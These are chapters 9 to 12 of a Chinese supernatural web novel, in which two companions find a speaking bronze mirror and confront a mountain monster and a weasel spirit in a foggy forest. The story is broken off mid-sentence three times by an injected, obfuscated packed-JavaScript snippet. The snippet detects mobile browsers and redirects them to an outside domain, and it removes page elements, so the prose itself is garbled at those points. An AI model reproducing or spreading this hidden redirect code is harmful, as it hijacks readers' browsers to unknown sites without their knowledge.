另一头的案桌上确实摆着一叠新衣物,早就是为独翊准备好明日穿的,今日见楼少渊这幅模样,他竟然有些关心起来,楼少渊却不知道这人是何意:“多谢,但是不用了。” 见他态度强硬,接连受挫后的独翊也不再问。 等到抬眼观察四周的同时,前方开始传来明显的动静,直到独翊掀开一角帘纱,左手持红蜡,一袭白发从他眼前披落下来,气质清冷,入目神清骨秀,此刻只有一件雪袍覆盖在身,像是与雪融为一体,颇具云中仙鹤之姿。 两人注目相对后,楼少渊的目光稍稍停滞了一瞬。 “令你害怕了。”独翊持着蜡烛的手都颤了颤,也不知道是不是蜡油滴到了手,还没等楼少渊有什么反应,不动声色的把自己拉回帘中,遮住暗芒,“我自小就是……” “如果我是真的害怕,就不会有意探知。” 因为当年楼少渊强装镇定地一句话促成佳友,他也了然于心,所幸年深日久后也见怪不怪了。 …… 9. 铜镜 见楼少渊如此新奇,独翊也有心述之:“其中的祭祀,最为常见的崇敬自然之法,一为向天地间神灵祭礼献食,二为祖先信仰。” 说完第一句之后,楼少渊有些半信半疑,扬眉片刻:“难不成这些行动就只是为了唤醒禅师?为什么要连累其他人?实在是没道理。” 须臾,独翊摇了摇头,淡声说道:“这类妖物除了在山郊野外扮人叫唤,招引路人,实则还有一类为“借尸”讨封,多数为肉身消亡后到处寻找合适的躯体附身,阳气微弱的人比较容易中招,不过一般妖物不会轻易控制人的神志,对它们来说很难,灵力低微的甚至是会造成反噬……” 楼少渊皱了眉头,听着就冒出一股不适感,暗自喃喃:“借尸讨封?” 这个事件到头来还是个谜,独翊无奈之下摊了摊手:“表面上是通灵祭祖,实则就是为黄鼠狼奉香火而已,所以它才日渐壮大,实力强劲,可附身人体却只差一步,毕竟取得穆府中人的信任才有可乘之机。” 楼少渊眼看着此地大致已然无线索:“甚至觉得穆老爷是否真的是禅师的后人也无从确定?或许一切,都只是它的一意孤行呢?今晚是个不眠夜,不太平。” 独翊的脑海包裹着记忆说:“早晨日光温暖,恰逢十五望月之际,今晚当属月圆之夜。” 之所以独翊记得这么清楚,完全是因为昨天等得太晚,无聊到开始数星星去了,即使将能看到的星星数完也不见楼少渊赴约,此刻想到,又不免的有些困。 楼少渊眼皮一跳,想到这处一怔:“或许今晚就会伺机而动,早些去吧。” 说着就快步走向门槛,楼少渊抬步先去,却注意到身后无动静,觉察没跟上来,只听独翊在身后喊了一声:“且慢!我好像看到书中描写的异兽了。” 楼少渊闭上了眼,不得不倒退几步而后偏头一侧忍不住问:“这有什么可惊奇的,就好比你也是妖,我见得多了就见怪不怪了。” 独翊正着比了一个交叉的手势,随后摇了摇头:“不是这样的,这种奇怪的东西若是出现在人群中,不得被吓得魂都飞了?” 也对,至少得伪装成人形吧!两人齐齐抬眼望去浮雕上的图案,虽说只有禅师一人,但身边却有个四脚兽?!还是长着怪异翅膀的,这如果真是出现在人间,会因此引起多少人的恐慌? “身形状如狐!”楼少渊也察觉到了一丝不对劲,急忙扶正了身子,但是却又找不到突破口在哪。 独翊接过话,若有所思地说:“我曾在书中看到过,这是姑逢山异兽!叫獙獙?像狐狸却长着翅膀,每逢出山都会引山中动物慌乱无措,引人惶恐不安?!记载中预示不详之说。” 此话一出,楼少渊却开始回驳:“任何被记载于册子上不详的异物,出山之际多半是预示灾难来临,类归山神而已。”于是紧盯了那只异兽一眼,有意无意问道,“你多久才化形的?” 独翊打了个哈哈,伸手挠了挠腮:“兄长说我天赋异禀,第一次见我就是化形的状态。” 楼少渊想来也是惊奇,照理说妖潜行修炼百年方可化形,听独翊一说,难不成他真是天赋异禀?上下打量着他:“第一次见你就是化形的状态?难道你们不是一个窝里孵出来的?” 独翊见他不解,便老实交代:“楼兄一向听闻我与兄长皆为双生,其实不然,他比我早成形几年也正常,我天生体弱,他说我成形时嘴里还叼着蛋壳?!初次见面时伶仃弱骨,自那以后他很少将我带在身边,让我待在京城好生安养。” 楼少渊不紧不慢的点头说:“难怪是养在深闺不谙世事的独公子,我还以为是你整天留恋花间酒地把自己养弱的。” 一听到这话独翊心里却不痛快,上下打量着他,一脸严肃地说:“楼兄怎么能这么说,京城之内我除了你,身边怎么可能还容得下别人?就算是行径花柳之地,还不是你串掇我同去,我若真是这种人,兄长那还能饶得了我吗!” 确实是那么一回事,独翊实在是诚恳,见他如此真诚,楼少渊也不打算再去调侃了,紧接着越过他,用手在那“撞座”周围找缝隙,总感觉是个机关,可他怎么也抠不下来,也按不进去,撕拉了几处身上的布条,绑在右手紧绷着,只好在那面铜钟前挽袖:“你也是我最重要的朋友,况且我哪能叫串掇?!我进的都是正经地好不好!要是比较真,我还真比不过你,而且你讲的声情并茂,确实让我动容了,我往后还得高看你一点!这个铜钟若是有个钟杵也就不错了,来此地刚好可以游一圈,也不枉沃洲镇这一趟留个印记什么的……” 说罢,楼少渊已经试着一拳往撞座上狠狠的砸进去了,他确实使了一点力气,独翊看着他将手捂住,举手投足间闷哼了一声,顺势滑落下,楼少渊怕露馅,连忙抬起完好的左手指在撞座上,趁机转移了独翊的视线,只身一人在那吃痛,想必是撞疼了,但因为好面子,独翊也不拆穿,接着顺着他指的视线看去。 独翊一转眼,伸手将撞座上的东西揭了下来,相较刚才楼少渊的举动又略显轻易,拿在手上晃了晃,有些迟疑:“这是面铜镜?难怪刚才就有点怪怪的。” 翻看铜镜正面有些蒙尘,镜未打磨稍显钝暗,独翊也擦不干净,外廓呈圆,镜面边缘环刻一圈云雷纹,而背后的蟠螭纹样仿若千年前的产物,九龙缠绕交汇于铜镜背面,精雕细琢,独一无二,还有八处三角纹朝背部边缘外扩,应是采取八方之意,而后再无镶嵌,更不知谁人放在这里的。 想到这,独翊不经意间瞟了一眼楼少渊,揶揄道:“怎么会有人将铜镜置于撞座中?况且总有人重三叠四接连的往中间捶一拳,若是伤到那些“到此一游”之人那该如何是好?” “我且无事。” 一道忽远又近的声音缓缓传来,独翊原以为是楼少渊被疼的哑了声,两人还没注意到,那声音又道:“手上。” 原来是铜镜里传出了声,独翊瞬间来了兴 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思来想去一番,出于本心将铜镜塞进了楼少渊的怀中,语重心长道:“楼兄,这面铜镜就留给你吧!此物来到古刹宗虽然只有十几年,我实在认为里面的那位铜镜兄并无恶意,万一你以后遇到什么危险的话,还可以拿着防身。” 楼少渊刚要转身,怀里就多了个硬物,内心森然却也抵不住那天生寒气,怒极反笑:“你这厮,道貌岸然之辈!” 还未在疼痛中延缓过来的楼少渊被怀里的铜镜咯噔了一下,尽管还是隔了一层衣物,却深感此物阴气极重,彻骨透寒,不免有些加深了手背的痛感,这面铜镜……不过话又说回来,这到底是个什么东西?这么些年过去了,总不可能是个人吧! 铜镜月叹息:“还好命硬。” 如一滩死水的铜镜月现今只能任人摆布,一点风浪也掀不起了,但好在能脱离此地,在此空存十几年,至此心中也少些落寞了。 楼台山之中,独淮客算其中最孤寂的一位,生性清高孤傲,特立独行,这几年从未提起身边有过惺惺相惜之人。 而身为潇湘之首的席湘筠,向来与身处武陵的柳弦绝同为挚友,形影不离。莲城的芦荻秋也是一个偏冷淡的性子,这番对比那就更不可能了。 这时看来,这面浮雕描述的是曾经在清凉寺名极一时的幻逢禅主。 花禅穆一。 两人一道先后离开了古刹宗,一路上草高于人,视野不明,似乎很少有人上山了,其中有条路被踩开,循眼望去四周还有些被剑锋砍平的迹象,见况也朝着这一条路去了。 天色灰亮,寂声孤鸣婉转。 还没走上前去,便清晰地听着前方有一阵嘈杂纷乱的声音,仔细一听,像是两个人吵了起来,不对! 是四个人! 10. 生息 走近一看,先映入眼帘的是身形高矮、胖瘦不一缊袍蔽体的两个人,瘦子累的上气不接下气!又瘦又矮小,若是此时有一阵风袭来,先被吹倒地的准是他,看着实在是有骨无力。 另一旁的胖子就地而坐,嘴里大口呼喘着粗气,眼睛圆溜儿的斜睨着瘦子,处处透着精明,细看怀中还紧紧的捂住什么宝贝,时刻警惕的提防着对方。 影影绰绰的树旁玉立着两个人,相较于另外两人,他们可谓是镇定的多,天色昏暗,即便是在树影遮蔽下也能轻易认出来。 兰桡眼尖,抱臂靠在树后,右侧挟着剑,看见来人轻哼一声:“又来两个累赘。” 直到楼少渊折断了比自己还高一截的树枝,带出身后的独翊,才走近看见两人,上前拱手:“各位晚上好。” 兰桡顿时有些怒不可遏,放声不满:“你们俩跟踪狂呢?!什么地都要跟来,到时候可不要让我们救你!” 一句话道出,原本负手而立,沉吟不语的古泛舟也道:“这本是楼台山之事,二位不必掺合。”气性虽然与兰桡稍有不同,但也只是不显于色,言罢也顺着兰桡的方向离开了。 其实早知道他们是一路的,就光剩那一胖一瘦互相干瞪眼,面面相觑,却也无心跟上。 楼少渊也没想跟着,但也不反驳,目送远去:“那我们便不和各位同路了。” 直到楼少渊将两人目送到再也看不见了,前方的胖子越过那瘦子上前来,问道:“两位公子,那位兰桡小兄弟是你们的朋友吗?” 楼少渊道:“曾有过一面之缘。” 那胖子手上拿着一个荷包,当着那瘦子的面递交给了楼少渊,满不在乎道:“那您能否替我把这钱还给那位小兄弟,这路没带成!也没脸要!” 话语一落,像是故意说给那瘦子听的,瘦子一看胖子作出了这般举动,紧盯着银子的动作猛地有些突出,原地大口吸吐了几下空气,就要越上前来夺那银子。 楼少渊无心接手,胖子手心一拢让那袭来的瘦子扑了个空,没能得逞,叫那瘦子气急了,二者体型悬殊瘦子也不敢轻举妄动,只能叉着腰破口大骂:“那两个小子都走了!你在发什么疯!” 胖子斜睨着眼,呵道:“给你?!我能捞到什么好处?还不如物归原主!” 瘦子的眼神忽然变得阴鸷,扯着嗓子喊道:“你这人太可恨了!才见过一面的人你都不警惕!死王八蛋!这钱刚刚说好了平分!人都走远了哪还轮得到你,这都什么时候了装什么清高?!” 胖子被这么一骂也只是冷哼一声,似乎早有预料,把钱袋捂得更紧了些。 楼少渊自然没功夫听这两人掰扯,于是便问道:“你们原先是要去哪?” 胖子心一紧,全然脱口而出:“就是曾经……挖出佛像的那个地方,可惜绕了一大圈,还是回到了原点。” 独翊忽然探出头张望了一眼,眸中掠过一丝疑惑:“你们收了他的钱,路倒是不认得了?” 胖子闻言一愣,无奈道:“认得是认得,可是今晚不知道怎么了,找不到那个地方。” 实在是问不出什么线索来,难不成是遭遇了鬼打墙?如果兰桡两人再回到此地,那便是了。但不一定的是,毕竟两人都是修行之人,刚才只是胖瘦两人带路才一直在原地打转,若是只有他们两人同行,意识或许不会被轻易混淆。 楼少渊见况平息了一会,抿了抿嘴道:“那再找找路吧。” 临走时,那胖子路过楼少渊身旁,脚步一顿,回头道:“公子,若是见到这山中有间木屋,避一避风头也是好的!” 说完两人齐嗖嗖的朝着下山的方向狼狈逃窜,步伐不一,这场面真是像事先准备好的一样,实在是有默契,言外之意就是哀而不伤,雇主都走远了,还会因为这些钱杀回来吗? 树林周围积起了一阵迷雾,像是大范围的朝着最后一片区域延伸,看着两人消失在了暗夜里,楼少渊自顾自思考了半天,全然没有注意到身后的情况,只觉得手腕处有丝凉意呼窜:“看来他们自己也知道这山上有东西?故意带不成路的?独翊……” 一句话还未说完,迷雾早已扩散至周边,甚至比自己想象的还要快一些!迎面而来的气息使得刚才还在身后的独翊不见了!胡乱走了几步,眼前也一片黑灰,找不到方向更不见踪影。 一旁早已深陷其中的独翊却心道:“怎么才一会的功夫,这雾气竟然能把人快速淹没,简直是在雾里看花,哪里还能看到人的影子。” 正当楼少渊不知所措,怀里的铜镜月却忽然开口:“小友,你刚刚有感受到什么吗?” 楼少渊正疑惑铜镜月为什么在这时开口,于是问道:“什么?” 铜镜月暗自喃喃道:“应该是剑。” 说到这,他眼里闪过波动,想起来刚才的古泛舟与兰桡二人身上有过佩剑,而且刚刚怀揣着他,无法确定铜镜月究竟如何得知的,众目睽睽之下也并未发生什么意外,或许此铜镜的能力就存在着对外来情状,有着强烈的感知预兆。 “刚刚这里就只有两个人佩剑,不过现在大雾弥漫,看不见路,暂时找不到他们。” 铜镜月听到这话却也安心了不少,在镜中传出的语气实在落寞,淡淡道:“无事,应该是我多心了,办法总是会有的,你有绳子吗?” 楼少渊低头看手袖旁是否有出线,接连扯了扯身上的布料,实在是牢固,忽然注意到左手腕垂下来一根红绳,察觉到迷雾中的那阵手感,想来是独翊系上去的,随之将它解下来,抓在手心道:“现在有了,要线做什么。” 在古刹宗早已见识了这面铜镜的,虽不知有何过人之处,但楼少渊毕竟是普通人,眼下情况不明,所以暂且将希望寄托于铜镜月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“辛苦你了,祁连兄。”楼少渊看向镜中只照出了自己的模样,当他说了这句话后,偶然觉得这个世间还是很神奇的。 铜镜月这一瞬间的缄默,其实他有在听,这么多年以后,唤起的再也不仅仅是祁连二字了。 古泛舟和兰桡也因为迷雾扩散至深相互迷失了方向,任他们再怎么呼喊也无济于事,暂时断绝了联系,古泛舟站在原地停滞了半晌,随后抬手拔出背后的剑,悬持在空中。 顷刻间,迷雾缓缓传聚在剑身周围,竟然形成了一团黑气,如同秽气一般恶臭,难以掩鼻!不多时,那团黑气自身显现出来了一个诡异的形状,单脚站立,如同山中怪魈朝古泛舟面上聚来,虽无实体,但是脚下却隐约积攒了一团黑水?莫非是血?看似虚于化形,难道只剩一副空皮囊?? 古泛舟背后一寒,不知怎么回事,手上的剑立刻变得灼热了起来,不受控制般向黑气斩去,顺着剑灵的动作朝前移动,可脚步凌乱不好松手!这剑实在是灵活!竟然难以控制,这秽气消散了一半又重新聚集起来,像是破不开的黑墙。 “好奇怪的力量!”古泛舟显然是第一次遇到这么棘手的问题,尤其是这把剑的威力,横看侧看内里一探就是一把钝剑,连最初的模样都无可显现,遇到这种秽气的同时,灵力竟然爆发到不可控制。 11. 师叔 接着那道秽气倒是敏锐的察觉到了什么,是那把钝剑令它近不了身!于是立马消散在了空中,无影无息。 同时这把剑竟然也震开了古泛舟的手,防不胜防的无力感,将剑掉在了地上,古泛舟也顾不得此刻麻痹,俯身朝前探手去拿起,这触碰间又并无大碍。 古泛舟有些神色不安,盯着这把剑细细琢磨,途中还不忘一道上前开路。 “这剑能避开秽气?” 法子自然有效,看向脚下的地确实空旷了些,却朝不保夕,二者这剑的确是不可估量的宝物,见如此,古泛舟只好将剑握的更紧,顾盼四周,只好凭借预感走了一条路,不多时,终于看见了前方的一点光亮。 是一间木屋,夜里漆黑如墨,这阵迷雾也来的猝不及防,此时面前出现了一间屋子,屋内却有微微光亮,古泛舟心中自然警惕万分。 在山中建屋,大多数都是守山人临时搭建起来的屋子,他抬头,却望见门框上贴着一张快要泛灰的符,心中难免忐忑,但是为今之计也只能硬着头皮碰一碰,镇定过后,古泛舟将剑握的更紧,抬手推了进去。 是独翊。 一瞬间两人的目光同时相对!良久,整个屋子陷入了一片寂静之中,这让古泛舟想起了刚才的冒犯,实在不敬,见状也不得不开口先道:“晚上好啊,师叔……” 独翊点了点头,实则并不在意,他临时用屋内半截都不到的蜡烛和一只碗,正给边缘铺上一圈石子,还有散在一旁的少许糖霜支起了一碗糖水,也不知道从哪弄来的东西,不过像是已经存放很久了。 他默默的站在一旁观察独翊的动作,一套动作下来,发觉他与待在楼少渊身边时的表现截然不同,这会像变了一个人似的,古泛舟却不知道要做些什么,显得十分手足无措。 独翊有意察觉到了古泛舟心中所想,手上的动作也停顿了下,低语道:“先在这个屋子安顿一晚,择明日再寻出处。” 一道话语落下,古泛舟不声不吭随便找了一个离独翊稍远的角落一溜烟儿坐下了,也没给自己找个垫,顺手将剑收回鞘中,握住剑身横向持于身体之间,眼睛微眯靠着墙,长夜漫漫思绪侵占脑海,内心也难以入眠,心想兰桡此刻又身在何处? 入夜之后,外围有些沙沙声传来,古泛舟也有些警惕起来了,面色有些复杂,不过心中又转念一想,会不会是兰桡?不过就算是他,怎么会一声不吭的站在外面一句话不讲。 动静虽小,但是依稀猜测不是善茬,古泛舟不得不回想起刚才的情景,心脏狂跳不止,全然没有了睡意。 外面的东西似乎也注意到了里面有着非比寻常的气息,没等两人开口,忽然一只长着白毛的怪臂从门底下伸了进来。 古泛舟透过微弱的光线才注意到木门底下何时有了个不大不小,刚好是一只手臂可伸展进来的洞口,这怪物似乎察觉里面的温度比外面高上许多,看样子是贴地匍匐,却又不敢碰地,倒是一个劲地想抓住里面的东西! 见没有什么能抓到的把柄,盲目乱抓的途中是有点累了,白毛手臂又僵直悬着缩了回去。 原以为那怪物放松了警惕,门外的声音也戛然而止,甚至没有破门而入,不料那怪物突然开口说话:“有人吗?里面有人吗?”一声稚嫩的婴儿声唤起,不由得让古泛舟打了个寒颤,一张脸色铁青。 两人默不作声,没去回答它的话。 独翊紧盯着那个洞口,脸色依旧照常,面前的糖水已经煮热至沸腾了,轻声道:“你还记得我们进门时,贴着一张都快泛灰的符吗?” 直到独翊开口,古泛舟才一脸好奇地问:“有符咒防御之地?或许这里曾经有高人蜗居,这邪物不会轻易进来吧?” 微弱的火焰只能在暗色中点缀眸光,发间散落的阴影遮蔽了外侧面庞,独翊依旧神色自若,顿时显得这双眼更为明澈,他摇了摇头说:“那符只是一个障眼法,包括整间屋子,还有迷雾,都是东西有意指引我们进来的……” 古泛舟有些意外,靠近一旁指了指地上的东西,放缓了声音:“那且不是中招了?这糖水是做甚?这里的糖霜是你带的?” “进到此处就有了,你也可以喝。”独翊显得很平静,将碗架出来放凉,又朝他那里移动过去,示意古泛舟喝下。 古泛舟觉得肯定不是那么一回事,没接手这碗糖水,还有些暂存怀疑的看向他:“来到这里之前我遇到了一团黑气,是不是跟这个长着白毛的怪物有关系?” 见他存疑,独翊沉默了半晌,双手环着膝盖,掩住了大部分身体,又难得解释一番:“山中怪魈成形,会唤婴儿声,不知情的人被蛊惑,使得被骗出屋外,所以一些人在上山之时就会带上一些糖霜,煮制成糖水,等到这只白毛怪伸手之时,将烧的滚烫糖水倒在它手上,它就会被烫的立刻逃离开,那么这晚它便不会作祟。” 古泛舟百思不得其解,如果是这“东西”指引他们进来的话,这白毛怪又只是想引人出去,岂不是自相矛盾了?如若要像独翊说的一样,将这碗糖水倒在白毛怪手心,将它烫的落荒而逃?!事实就那么简单吗? 屋子如果是白毛怪幻化的,它大可以破门而入,不必遮掩,还有糖霜都是像事先准备好的一样!它是在招人注意,就必须先引出一个人把滚烫的糖水倒在它的手臂上,等到白毛怪受到伤害,逃之夭夭,让屋内的人觉得屋外已经相安无事! 除非……外面不止是有白毛怪了?! 那它自身就在害怕什么东西,难道是古泛舟的剑?古泛舟立马想起来刚才于黑雾中斩去的一剑,虽然是一团黑雾,但那滩血也能证明是真实体而并非虚形。 略加思索,独翊才想起古刹宗一事,问他:“你进那座庙了吗?” 经他提起,古泛舟心生疑惑:“哪座庙?我与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15087001|163586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兰桡在山下找了两个附近人带上山,一路走来从没见过什么庙。” 独翊不假思索地恍惚沉吟:“哦,难怪跑那么快,原来是那两人早知晓这山中事,故意避开那座庙。” 古泛舟终于恢复了点精神,听到这话后瞬间清醒,大声错愕道:“他们早就知道?是因为此番艰难凶险!贪生怕死才绕了另外一条路?!” 独翊有点头疼,原以为最不安稳的是兰桡那个孩子,没成想这古泛舟也一惊一乍的,怎么熟络起来变得就不稳重了,他看着那张气急败坏的脸,终于懂得独淮客为何也让他下山了,待在山上怕闷坏了,让他去找兰桡,心想,以前应该是给兰桡以身作则才得以安分。 处变不惊这一点还真没学的透彻。 半晌,那只长着白毛的怪手又从底下伸了进来,因为没有人回答它,这次似乎已经不惧怕内部的温度了,伸入的手臂越来越长。 即将要触碰到古泛舟的鞋尖时,古泛舟赶忙后退几步,可这怪手却不收回手,继续在屋内摸索,立马倒吸了一口气,想起独翊说的传闻,又有些于心不忍:“那我们该如何应对?真得烫它?!” “无需,先让它自行摸索。”独翊看了一眼他手中的剑,连忙转移了话题,试问道,“你这把剑不像今朝之物。” 古泛舟瞬间来了兴趣,爱不释手的将剑递于独翊的目光间:“不瞒师叔,这把剑确实已经存在很久了,当年我与家人逃亡之际,偶然得到此剑,从那以后我便放在身边陪伴至今。” 独翊点头微笑也抚掌迎合,掷地有声道:“不错,是把好剑。” 古泛舟沉默了片刻后由衷之言脱出:“泛舟不才,妄意取名后生。” “后生?也是不错的,其物如故,其人……是否存于世间倒也难说了,毕竟这把剑到了你手里,自然惜之。”独翊和缓地侧首,说着将碗又温了才递给他,“山里寒凉,容易心神恍惚,热身。” 古泛舟刚想接过,手却突然停在空中想要回绝,抿嘴道:“谢谢,不过这糖水不是用来防御吗?我喝了不太好吧?” “今晚有人却是有备而来,这点东西没用。”独翊说。 古泛舟点了点头,接下糖水后退到一边,自顾喝完。 过了一会,这只怪手又静悄悄的缩了回去,还不忘在门外喃喃,这时终于有敲击门板的动静,沉重声也逐渐被盖了过去,随之而来的是一阵被人拖拽到旁边的声音。 门外突然一阵闷声响起,听起来有点怪声怪气,却口吐人言如此清晰,不得联想起是另外一个东西出声:“两位放心,这东西已经走了。” 古泛舟手上的剑都握紧了些,侧头询问一旁的独翊:“独师叔能感知到吗?” 又是一阵静默,直到独翊眼底掀起寒意:“能推断出外面绝非善类,如果是今日也听说要上山的,私自山上的,能躲过这层迷雾寻人,也绝非常人。” 12. 后生 古泛舟作蓄势待发状,言罢正色道:“那该如何,他肯定能进这扇门,这山间狭隘黑暗又不熟悉路况,打斗起来也不是易事。” 独翊觉得有理,目光又转回即将融底的蜡烛上,点了点头:“也对,那就开门吧。” 古泛舟听了他的话,走去门前,将信将疑地伸手打开门,映入眼前的竟是一个黑袍人,身前四方遮蔽的严密紧实,也是保守,高有五尺,身形瘦而四面平,远看竟不如一把剑高挺,看他身子伛偻着不动,古泛舟总觉得不对劲,但还是一脸质问:“你是谁?” 黑袍人听后不语,本就矮了古泛舟一截,胸口更是小有幅度的起伏着,眼看呼吸都感觉异常艰难,在门外月光的照射下,它正背对着月亮,自外朝里足以看见两人的清隽的面容。 黑袍人先是看了一眼古泛舟,抬头露出了一张比哭还难看的笑容,可惜是背对着月亮的,阴影遮蔽下的古泛舟却看不清晰,但是坐在一旁的独翊看的却是非常清楚! 居然是一只披着黑袍的黄鼠狼!倒不如说这层皮是借过来的,眼看它在虚幻和真身之间不断变幻扭曲,诡形怪状,也就是说这会保持着的五尺长……实则是它一直在袍中变矮!是再也撑不住人形!即将要暴露的真身! 古泛舟本就觉得这黑袍人的形象就显得极为怪诞,阴恻恻的模样令人不寒而栗,从而觉得它朝里探的脖子都在明显伸长,行动迟缓的窥探着身后的独翊。 古泛舟察觉到后,只身赴面侧挡,才不让他探头进来,二话不说就把剑对准黑袍人的侧脖,盘根问底这东西的来历:“你是谁?为什么来这?” 黄鼠狼扯开嘴角狞笑,一脸的虚伪谄媚:“……这荒山野岭的,让我坐一会吧。” 古泛舟敏锐的察觉到异样,直接反问:“这荒山野岭的,我凭什么要让着你?” 黄鼠狼似乎被噎了一下,眼珠顿时又一转,差点挂不住脸:“我知道你们想见的人在哪。” 古泛舟并不理会这句话,只身喝道:“你知道刚刚那个长着白毛的东西么?” 黄鼠狼满不在乎地叹了口气,紧盯着他:“不过是一只山魈罢了,这深山密林,有妖怪成精也是很平常的一件事。”说着,眼睛眯成一条缝,眼里闪过一道精光,余光便是夹杂其中,若有所思的看了一眼独翊。 古泛舟眼神迷离了一会,头怎么开始晕乎起来了,看着面前这个比自己低矮不知道多少的黑袍人,想起刚才没刨根问底出什么,心里竟升出了一抹浮躁,怒斥道:“你先滚远点!看见你有点想吐!” 黄鼠狼:“……” 独翊:“……” 黄鼠狼侧身让道,原以为这人要离开此地,正合心意,没成想出去时竟也把随手门关了,最后意识不清的瞥了它一眼,就持着剑朝外走去。 黄鼠狼还未显身施法,古泛舟心里就开始作呕,这情形,难道是刚刚独翊给的那碗糖水?不过古泛舟还没想到那里去,只觉得独翊温暖了自己一阵,况且是自己的师叔,应该不会加害自己。 身在一旁的独翊也只是动了动手指,内心混乱一团糟,千万不要让他知道是自己为了报复刚才林中气焰嚣张一事,才在糖水中加了点令人心气极易上火的药粉。 黄鼠狼终于忍受不了袍中藏身,但好在少了一个人不就更好对付?这才打开了门,一步步撑开黑袍朝他靠近,拱手迎笑:“老生有礼了……刚才识人不清,差点忽略了您,公子您嘛,以俗身入世间渡劫,不表明身份就罢,我也无权拆穿,可我有一事!一定也是您先给小的封个正,何况……寻仙可得百年生,一成此事……往后必定答谢仙君!令我脱离这幅皮囊,此后何须借他人身来渡?!从此不再畏缩于这黑袍之中,您看如何?” 当它真身露出水面,直言表明目的后的独翊还是不为所动,顿时有些摸不着头脑,就只当是个笑话,原以为它是想说“拿命来”这些话,却是要找他讨封?于是细心解释:“我与东北常仙虽为同族,与我兄长同为双生,可也是育化出灵识的妖,并非是仙!况且与点造化可不同,我怎么能给你封正?” 黄鼠狼回过神,甚至有些迷茫起来,连自己也分不清对错?眼神飘忽不定,即刻定论:“您就别折煞我了,您身上仙气环绕,定然不是凡中之子,毕竟这世道真正能成仙的能有多少?” 独翊被说的一脸懵,它应该更清楚自己的本体才对,这糖水也没给他喝过啊,怎么就开始胡言乱语了? 独翊轻咳了两声,换了一副清冷模样,使黄鼠狼动容了片刻,拱手低头,恭敬待命般,他也不冷不热地顺竿儿爬:“那我问你,这山魈怎么听信于你?你这是借来了谁的身?” “我?当然是那位穆姓之人!这山魈便是山林最无用的东西,唯有那血才有点用处,若不是我用这山魈的血,哦不,这狌狌的血!浸透玉石百日,轻易成就了一块新的血玉,为他加持性命,不然这穆姓者早就死了!我这是在为他续命。”黄鼠狼冷不防的坦白交代。 独翊大致了解过去,还是保留疑惑:“不过讨封这等事,你出山之后自然可以随意找个人,为何如此讲究?” 黄鼠狼此刻却正经了起来,这背似乎想要绷直,可惜身子又弯了下去,早已无力挽回,面色陡然一变:“我好歹也是活了百年之久,道行停滞多年……就是因为这些人,都算不得人,个个利欲熏心,无所不用其极!可是偶然间,我注意到了穆姓人房中藏的佛像!如果我将他重现人间,借着他后代的身,一定能够道行大增!哪是这些人能比的!!” “重现人间?存于穆府之中的真佛像是活人?”独翊心想,恍然大悟,难怪熟悉,这么一说那禅师并未受到任何伤害,反而被黄鼠狼悉心照料的很好,可这黄鼠狼是否是脑子一热,这些事情都能听信着来。随后又挑眉嗤笑:“后代?你是怎么证明穆老爷是他的后代的?” 黄鼠狼一说:“他也姓穆。” 独翊回驳:“……这人生地不熟的,改名换姓也容易。” 黄鼠狼又说:“他挖出真佛像时,就将他供在自己的房间里!与古刹宗里的调换,那说明他早就知道禅师的下落,更能推出他们很早以前就熟知了!” 独翊无言以对,思绪飘忽了一瞬,对他坦然:“如果穆老爷只是普通的信奉者,与禅师生前结下恩情,死后无从还恩,为他盖宗立庙也是他心甘情愿的,合乎情理而已。” 黄鼠狼声色俱厉,面孔狰狞了起来:“我不信!” 独翊可不想激怒这个黄鼠狼,现在耗下去一眼望不到头,撇开话题又问:“那穆家其他人呢?” 黄鼠狼一字一顿地挤出牙缝,全然没注意到身后的动静:“当然是和你的同行之人一起安置在别处了!放心,你若是不答应……我便将你生吃活吞了!仙体也是存灵丹的啊……” 话音未落,另一个身影在眼前冒出,独翊飞快的直起身,快速躲向一旁避险,朝它脱口而出:“当心你身后!” 黄鼠狼似乎没料到后面有什么,昂头跨步再上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15087002|163586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前去:“我身后?那能有什么,都已经被解决掉!别妄想……!!” 一道剑锋向黄鼠狼身后袭来,虽古朴,但剑气凌盛,气势不凡,刹那间黑袍被砍出一道血痕,黄鼠狼猛地转头,一看竟是那狌狌!独翊见他持剑显露在人前,状似人形又通体白毛,赤眼猩红!像是着了魔般拿着古泛舟的剑在空中乱挥舞,不可控制,情急之下剑锋触碰到了门头上的那张泛灰的符,而后悄然无息的化成了灰,惊骇之际,那间屋子犹如幻境,连同黄鼠狼一并消失了。 一旁狌狌的双手像是被粘在了刀柄上,但是声音如同凄厉的嘶嚎,越用力挣脱刀柄,竟然让那手掌的皮却是被揭了下来一处,独翊不使刀剑,却也看得清清楚楚,那剑居然在吸血!完全就是顺着剑柄之间的纹路吸收了,流入纹理将血液渗透,一转眼的功夫,令狌狌的哀嚎声直至响彻整个山林。 见他模样跟传闻中的山魈一般不二,也是单腿独立,现在却不稳了,狌狌也看出独翊不是常人,眼神中透露着恐惧,极力想要请求独翊夺走这把剑,狰狞的脸上早已有泪水顺着面部划过,像是被硬生生地割出了一道血泪,痛彻骨髓,忽然那剑有了意识般,步步正寻旧主,似是朝天临风对月,但并无头路,似乎有气无处发泄,只能牵制着狌狌在这处乱砍一通! 